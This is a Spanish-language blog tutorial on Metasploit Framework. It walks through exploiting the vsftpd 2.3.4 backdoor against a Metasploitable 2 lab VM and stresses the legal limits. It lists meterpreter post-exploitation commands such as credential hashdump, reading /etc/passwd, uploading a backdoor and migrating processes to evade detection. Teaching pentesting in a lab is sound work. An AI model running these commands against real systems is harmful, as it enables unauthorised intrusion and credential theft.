Imagen de una pantalla de ordenador con código y del lo de kali linux

Metasploit Framework: tu primera explotación paso a paso desde Kali Linux







Metasploit Framework es el estándar de facto para la explotación de vulnerabilidades en auditorías de seguridad. Mientras Nmap descubre qué hay y Nessus identifica qué está roto, Metasploit da el siguiente paso: comprueba si esas vulnerabilidades son realmente explotables intentando explotarlas de forma controlada. Es la herramienta que convierte una lista de CVEs en acceso real al sistema objetivo, y por eso es también la que cruza la línea más crítica del marco legal del pentesting.

Metasploit fue creado por HD Moore en 2003 y adquirido por Rapid7 en 2009. Lleva más de dos décadas siendo el framework de explotación más usado del mundo, con más de 2.300 exploits públicos integrados, soporte para múltiples plataformas y una arquitectura modular que permite crear payloads personalizados para cada escenario. Viene preinstalado en Kali Linux y forma parte del currículum de todas las certificaciones serias de pentesting: OSCP, eJPT, CEH, GPEN.

Este artículo cierra la serie de análisis que arrancó con Nmap para reconocimiento activo y continuó con Nessus para análisis de vulnerabilidades. Con Metasploit pasamos del «qué está roto» al «cómo se rompe» — y esa diferencia no solo es técnica: es legal, ética y operativa. La primera mitad del artículo está dedicada a establecer el marco de uso legítimo antes de tocar un solo comando.

Qué es Metasploit Framework y por qué está en otra liga

Metasploit no observa ni analiza: ejecuta código contra el objetivo. Envía exploits diseñados para aprovechar vulnerabilidades concretas y, si funciona, devuelve una sesión interactiva dentro del sistema comprometido — una shell, un meterpreter, un canal de comunicación. Ese es el punto de no retorno: ya no estás mirando desde fuera, estás ejecutando comandos dentro de una máquina que no es tuya. Por eso Metasploit nunca se usa contra sistemas reales sin autorización escrita, contrato firmado y scope definido.



⚠ Uso legal de Metasploit — aviso crítico

Metasploit Framework no es una herramienta de reconocimiento: es un framework de ataque. Cada exploit que lanzas intenta comprometer el sistema objetivo explotando una vulnerabilidad conocida. Si tiene éxito, obtienes acceso no autorizado — lo que en términos legales es intrusismo informático, tipificado en el artículo 197 bis del Código Penal español con penas de prisión de 6 meses a 2 años.

A diferencia de Nmap (que escanea) o Nessus (que identifica), Metasploit ejecuta código malicioso contra el sistema. Eso significa que, además del 197 bis (acceso no autorizado), puedes entrar en el artículo 264 CP (daños informáticos) si el exploit causa alguna interrupción del servicio, corrupción de datos o inestabilidad del sistema. La jurisprudencia europea ha condenado el uso no autorizado de frameworks de explotación con penas que incluyen inhabilitación profesional.

Los únicos escenarios legítimos son idénticos a Nmap pero con requisitos aún más estrictos: (1) tu propio laboratorio aislado sin conexión a internet, (2) plataformas autorizadas como HackTheBox, TryHackMe o VulnHub, (3) auditorías formales con contrato por escrito que especifique alcance, límites temporales y tipos de ataques permitidos, y (4) programas de bug bounty con reglas de engagement publicadas. Cualquier otra cosa es delito grave sin atenuantes posibles.

Concepto base: anatomía de un exploit

Un exploit es código diseñado para aprovechar una vulnerabilidad específica de un software concreto. Por ejemplo, EternalBlue (MS17-010) explota un fallo en el protocolo SMBv1 de Windows que permite ejecución remota de código sin autenticación. El exploit envía paquetes malformados que desbordan un buffer, sobrescriben memoria y redirigen la ejecución del programa hacia el payload del atacante. Ese payload puede ser una shell remota, un meterpreter, o un simple comando que descarga y ejecuta un binario.

Metasploit separa el exploit del payload: el exploit es el cómo (el mecanismo de explotación) y el payload es el qué (lo que se ejecuta tras comprometer el sistema). Esa separación modular permite combinar cualquier exploit con cualquier payload compatible: puedes usar el mismo exploit de vsftpd con una reverse shell TCP, con un meterpreter, o con un simple comando que añade un usuario al sistema. La flexibilidad es brutal, y por eso Metasploit domina el ecosistema de pentesting.


Arquitectura de Metasploit: módulos principales

Metasploit está organizado en módulos que se combinan para ejecutar un ataque completo. Entender la jerarquía es clave para navegar msfconsole sin perderte entre 2.300 exploits.

Exploits — el vector de ataque

Son módulos que implementan el código de explotación. Cada uno está asociado a una vulnerabilidad específica (CVE) y soporta uno o más payloads. Se organizan por plataforma y servicio: exploit/windows/smb/ms17_010_eternalblue, exploit/unix/ftp/vsftpd_234_backdoor, exploit/linux/http/apache_mod_cgi_bash_env_exec. Algunos exploits requieren opciones como RHOST (IP objetivo), RPORT (puerto objetivo), LHOST (tu IP), LPORT (tu puerto de escucha).

Payloads — lo que se ejecuta tras el compromiso

Son el código que corre en el sistema comprometido tras la explotación exitosa. Hay tres tipos principales:

Singles — payloads completos que se ejecutan de una vez. Por ejemplo, windows/shell_reverse_tcp abre una reverse shell TCP.

Stagers — payloads pequeños que establecen la conexión inicial y luego descargan el payload completo (stage). Útiles cuando el exploit tiene restricciones de tamaño. Por ejemplo, windows/meterpreter/reverse_tcp: el stager abre la conexión, el stage descarga el meterpreter completo.

Stages — la segunda parte que se descarga tras el stager. Incluyen meterpreter (el payload avanzado de Metasploit con decenas de comandos post-explotación) o shells nativas del sistema.

Auxiliary — módulos de apoyo

No son exploits, son herramientas de enumeración, fuerza bruta, escaneo o DoS. Por ejemplo, auxiliary/scanner/smb/smb_version identifica la versión de SMB sin explotar nada. Útiles para la fase previa al ataque.

Post-explotación — módulos para después del compromiso

Se ejecutan tras obtener una sesión activa. Incluyen enumeración de usuarios, captura de credenciales, escalada de privilegios, pivoting a otras redes, persistencia. Por ejemplo, post/windows/gather/hashdump extrae los hashes de contraseñas de Windows.

Encoders — ofuscación de payloads

Transforman el payload para evitar detección por firmas de antivirus o IDS. Por ejemplo, x86/shikata_ga_nai es el encoder más usado. En la práctica, los AV modernos detectan prácticamente todos los payloads de Metasploit sin ofuscar, así que los encoders son imprescindibles en escenarios reales.


Comandos esenciales de msfconsole

msfconsole es la interfaz interactiva de Metasploit. Se ejecuta desde terminal en Kali Linux con el comando msfconsole. Tarda unos segundos en cargar todos los módulos y muestra un banner ASCII con estadísticas actualizadas (número de exploits, payloads, auxiliaries, etc.).

Búsqueda y selección de módulos

search vsftpd                  # Buscar exploits relacionados con vsftpd
search type:exploit platform:windows smb  # Búsqueda filtrada
use exploit/unix/ftp/vsftpd_234_backdoor  # Seleccionar un exploit
back                           # Salir del módulo actual

El comando search busca en toda la base de módulos. Soporta filtros por tipo (exploit, auxiliary, post), plataforma (windows, linux, unix), CVE, y keywords. La salida muestra el nombre del módulo, el ranking (excelente, great, good, normal…) y la fecha de publicación.

Configuración del exploit

show options               # Ver opciones requeridas del exploit
show payloads              # Ver payloads compatibles con el exploit
set RHOSTS 192.168.56.103  # Establecer IP objetivo
set RPORT 21               # Establecer puerto objetivo
set LHOST 192.168.56.102   # Establecer tu IP (para reverse shells)
set LPORT 4444             # Establecer tu puerto de escucha
set payload linux/x86/shell_reverse_tcp  # Seleccionar payload
show options               # Verificar que todo esté configurado

Las opciones básicas son RHOSTS (target), RPORT (puerto del servicio vulnerable), LHOST (tu IP atacante para que el payload se conecte de vuelta) y LPORT (tu puerto local de escucha). Algunos exploits tienen opciones adicionales como USER, PASS, TARGETURI, etc. El comando show options siempre muestra qué es obligatorio (Required: yes) y qué tiene valor por defecto.

Ejecución y gestión de sesiones

exploit                    # Lanzar el exploit
exploit -j                 # Lanzar en background (job)
sessions                   # Listar sesiones activas
sessions -i 1              # Interactuar con la sesión 1
sessions -k 1              # Matar la sesión 1
sessions -K                # Matar todas las sesiones

Si el exploit funciona, obtienes una sesión. Dependiendo del payload usado, puede ser una shell de sistema básica (shell_reverse_tcp) o un meterpreter completo (meterpreter/reverse_tcp). El meterpreter es mucho más potente: tiene comandos integrados para migrar procesos, capturar pantallas, keylogging, pivoting, etc.

Comandos de meterpreter

Si tu payload es un meterpreter, tras el exploit exitoso caes en un prompt meterpreter >. Ahí tienes acceso a comandos específicos:

sysinfo                    # Info del sistema comprometido
getuid                     # Usuario actual
ps                         # Procesos en ejecución
migrate PID                # Migrar a otro proceso (evasión)
shell                      # Obtener shell nativa del SO
download /etc/passwd       # Descargar archivo del objetivo
upload backdoor.exe C:\\   # Subir archivo al objetivo
screenshot                 # Captura de pantalla
hashdump                   # Extraer hashes de contraseñas (Windows)
background                 # Enviar sesión al background

El comando migrate es crítico para mantener la sesión estable: si el proceso vulnerable crashea, pierdes la sesión; migrar a un proceso más estable (explorer.exe, svchost.exe) aumenta la persistencia.


El flujo correcto para explotar con Metasploit

Al igual que con Nmap, hay un flujo profesional que va por capas. Lanzar exploit sin preparación es ineficiente y ruidoso.

PASO 0
Reconocimiento previo con Nmap y Nessus

Antes de abrir Metasploit, ya deberías tener: lista de puertos abiertos (Nmap -sV), versiones exactas de servicios (Nmap -sV), y lista de CVEs aplicables (Nessus). Metasploit no adivina: necesita saber qué explotar. Por ejemplo, si Nmap reportó vsftpd 2.3.4 en el puerto 21, ese es tu punto de entrada.

PASO 1
Buscar el exploit apropiado

Usa search con keywords del servicio vulnerable. Por ejemplo, search vsftpd devuelve el módulo exploit/unix/ftp/vsftpd_234_backdoor. Verifica que el ranking sea al menos «good» — los exploits «low» o «manual» suelen ser poco fiables.

PASO 2
Configurar opciones del exploit

Tras use exploit/…, ejecuta show options para ver qué necesita. Como mínimo, RHOSTS (IP objetivo). Si el exploit usa reverse connection, también LHOST (tu IP). No olvides show payloads para ver opciones de payload.

PASO 3
Seleccionar y configurar el payload

Para pruebas de concepto, cmd/unix/interact o generic/shell_reverse_tcp son rápidos. Para post-explotación seria, meterpreter/reverse_tcp es la opción estándar. Configura LHOST y LPORT si el payload lo requiere.

PASO 4
Verificar configuración y lanzar

Un último show options para confirmar que todo está correcto. Luego exploit. Si funciona, obtienes una sesión. Si falla, revisa la salida de error — a menudo el exploit no es compatible con la versión exacta del servicio, o el objetivo tiene mitigaciones activas (ASLR, DEP, AV).

PASO 5
Post-explotación y limpieza

Una vez dentro, enumera el sistema (sysinfo, getuid, ps), captura la información que necesites y, si es un entorno controlado, limpia las huellas antes de cerrar la sesión. En un pentest real, documentas cada paso para el informe.


Caso práctico: vsftpd 2.3.4 backdoor en Metasploitable 2

Todos los ejemplos de esta sección se ejecutan contra Metasploitable 2 (IP 192.168.56.105) desde Kali Linux (IP 192.168.56.102). Metasploitable 2 es una máquina virtual deliberadamente vulnerable diseñada por Rapid7 para practicar pentesting. Descargable legalmente desde SourceForge. Ambas VMs están en la red interna del laboratorio de VirtualBox, completamente aislada.

Paso previo — Reconocimiento con Nmap

Antes de explotar, necesitamos confirmar que vsftpd 2.3.4 está corriendo en el objetivo:

nmap -sV -p 21 192.168.56.105

La salida debería mostrar algo como:

21/tcp open  ftp     vsftpd 2.3.4

Perfecto. vsftpd 2.3.4 tiene un backdoor conocido que permite ejecución de comandos sin autenticación. CVE-2011-2523. Metasploit tiene un módulo para explotarlo.

Explotación paso a paso

1. Iniciar msfconsole

msfconsole

Espera a que cargue. Cuando aparezca el prompt msf6 >, estás dentro.

2. Buscar el exploit de vsftpd

search vsftpd

Resultado:

exploit/unix/ftp/vsftpd_234_backdoor    excellent    vsftpd 2.3.4 Backdoor Command Execution

3. Seleccionar y configurar el exploit

use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.56.105
show options

El segundo show options confirma que RHOSTS está establecido. Este exploit no requiere payload manual — el backdoor ya abre una shell en el puerto 6200.

4. Lanzar el exploit

exploit

Si todo va bien, la salida muestra:

[*] Banner: 220 (vsFTPd 2.3.4)
[*] Sending malicious login...
[*] Found shell on port 6200
[*] Command shell session 1 opened

Y caes en un prompt de shell. Puedes verificar con:

whoami
id
uname -a

Salida típica: root. Has comprometido la máquina con privilegios de root.

Recordatorio legal: Este exploit se ejecutó contra Metasploitable 2, una VM diseñada explícitamente para ser vulnerable y practicar pentesting de forma legal. Ejecutar el mismo exploit contra un sistema real sin autorización escrita es delito grave art. 197 bis + 264 CP.

Salir de la sesión y limpiar

Para salir de la shell sin cerrar Metasploit:

background    # O Ctrl+Z

Vuelves al prompt msf6 >. Para ver sesiones activas:

sessions

Para cerrar la sesión:

sessions -k 1

Conclusiones del caso práctico

FLUJO. Reconocimiento (Nmap) → identificación de versión vulnerable → búsqueda de exploit en Metasploit → configuración → explotación → post-explotación. Cada fase alimenta la siguiente.

SIMPLICIDAD. vsftpd 2.3.4 es uno de los exploits más sencillos de Metasploit: no requiere configuración de payload, no necesita permisos especiales, funciona casi siempre. Es el equivalente al «Hello World» del pentesting.

REALIDAD. En sistemas reales actualizados, los exploits públicos raramente funcionan de primeras. Hay parches, mitigaciones (ASLR, DEP), antivirus, IDS/IPS. Metasploit es el punto de partida, no la solución mágica.


El marco legal al usar Metasploit

Si Nmap ya cruzaba la línea del reconocimiento pasivo, Metasploit la destroza. No estás observando, no estás escaneando: estás atacando. Cada exploit lanzado intenta comprometer activamente el sistema objetivo. Por tanto, el marco legal es radicalmente más restrictivo que con cualquier herramienta anterior.

⚠ Marco legal — sin grises posibles

Explotar un sistema sin autorización → art. 197 bis CP (acceso no autorizado) + art. 264 CP (daños informáticos si hay interrupción o corrupción). Penas de 6 meses a 4 años de prisión según agravantes.

Explotar infraestructura crítica (hospitales, servicios esenciales, redes gubernamentales) → agravantes del 264 CP, penas hasta 8 años.

Obtener acceso a datos personales durante la explotación → violación RGPD + posible delito adicional art. 197 CP (descubrimiento y revelación de secretos).

Usar exploits contra sistemas propios, laboratorios aislados, o plataformas autorizadas (HackTheBox, TryHackMe, Metasploitable) → totalmente legal.

Trabajar bajo contrato de pentesting con scope definido, límites temporales claros y autorización escrita del propietario del sistema → legal dentro del scope acordado, ilegal fuera de él.

El detalle crítico que mucha gente ignora: la defensa de «solo quería ver si era vulnerable» o «estaba probando conocimientos» no tiene valor legal. La explotación no autorizada es delito consumado en el momento en que lanzas el exploit, independientemente de si funciona o no. Un exploit fallido sigue siendo intento de acceso no autorizado.

Además, a diferencia de Nmap (donde el riesgo principal es administrativo o civil), con Metasploit el riesgo es penal directo: prisión, antecedentes penales, inhabilitación profesional. La jurisprudencia española y europea ha sido especialmente dura con casos de uso de frameworks de explotación, porque demuestra premeditación técnica.

La recomendación sigue siendo la misma: practica exclusivamente en tu laboratorio de VirtualBox o en plataformas autorizadas. Si quieres trabajar profesionalmente en pentesting, busca contratos formales con empresas que necesiten auditorías. Nunca, bajo ninguna circunstancia, lances exploits contra sistemas ajenos sin autorización escrita previa.

«Nmap te muestra las puertas. Nessus te dice cuáles están rotas. Metasploit las abre. Y ese último paso — abrir puertas que no son tuyas — es donde acaba el aprendizaje y empieza el delito si no tienes permiso por escrito.»

— La Página de Draven · Ciberseguridad · 2026


Referencia rápida: comandos esenciales de msfconsole

ComandoFunciónEjemplo
searchBuscar exploits/módulossearch vsftpd
useSeleccionar módulouse exploit/unix/ftp/vsftpd_234_backdoor
show optionsVer opciones del móduloshow options
show payloadsVer payloads compatiblesshow payloads
setEstablecer valor de opciónset RHOSTS 192.168.56.105
setgEstablecer valor globalsetg LHOST 192.168.56.102
exploitLanzar el exploitexploit
exploit -jLanzar en backgroundexploit -j
sessionsListar sesiones activassessions
sessions -i NInteractuar con sesiónsessions -i 1
sessions -k NCerrar sesiónsessions -k 1
backgroundEnviar sesión al fondobackground (o Ctrl+Z)
infoInfo del módulo actualinfo
backSalir del módulo actualback

Comandos específicos de meterpreter

ComandoFunción
sysinfoInformación del sistema
getuidUsuario actual
psLista de procesos
migrate PIDMigrar a otro proceso
shellObtener shell nativa
downloadDescargar archivo del objetivo
uploadSubir archivo al objetivo
screenshotCaptura de pantalla
hashdumpExtraer hashes (Windows)
backgroundEnviar sesión al fondo

Conclusión

Metasploit Framework es el puente entre identificar vulnerabilidades y comprobar si son explotables. Es la herramienta que separa el pentesting teórico del práctico, y por eso mismo es también la que cruza la frontera legal más clara. Saber usarlo — y sobre todo, saber cuándo y dónde usarlo — es lo que diferencia a un profesional de la ciberseguridad de alguien con problemas legales graves.

Esta guía cierra la trilogía de reconocimiento y análisis que iniciamos con Nmap y continuamos con Nessus. Nmap descubre puertos y servicios, Nessus identifica vulnerabilidades asociadas a esos servicios, y Metasploit prueba si esas vulnerabilidades permiten compromiso real. Juntas, estas tres herramientas forman el núcleo técnico de cualquier auditoría de seguridad ofensiva.

Los próximos artículos profundizarán en la fase de post-explotación: reverse shells avanzadas, escalada de privilegios en Linux y Windows, persistencia, pivoting a redes internas y borrado de huellas. Todo desde el laboratorio, siempre dentro del marco legal.

La Página de Draven · Ciberseguridad · Metasploit Framework · 2026

#MetasploitFramework #msfconsole #KaliLinux #Pentesting #Explotación #Exploit #Payload #Vulnerabilidades #Ciberseguridad #HackingÉtico #VirtualBox #Laboratorio #MásterCiberseguridad #ASIR #RedTeam

Publicaciones Similares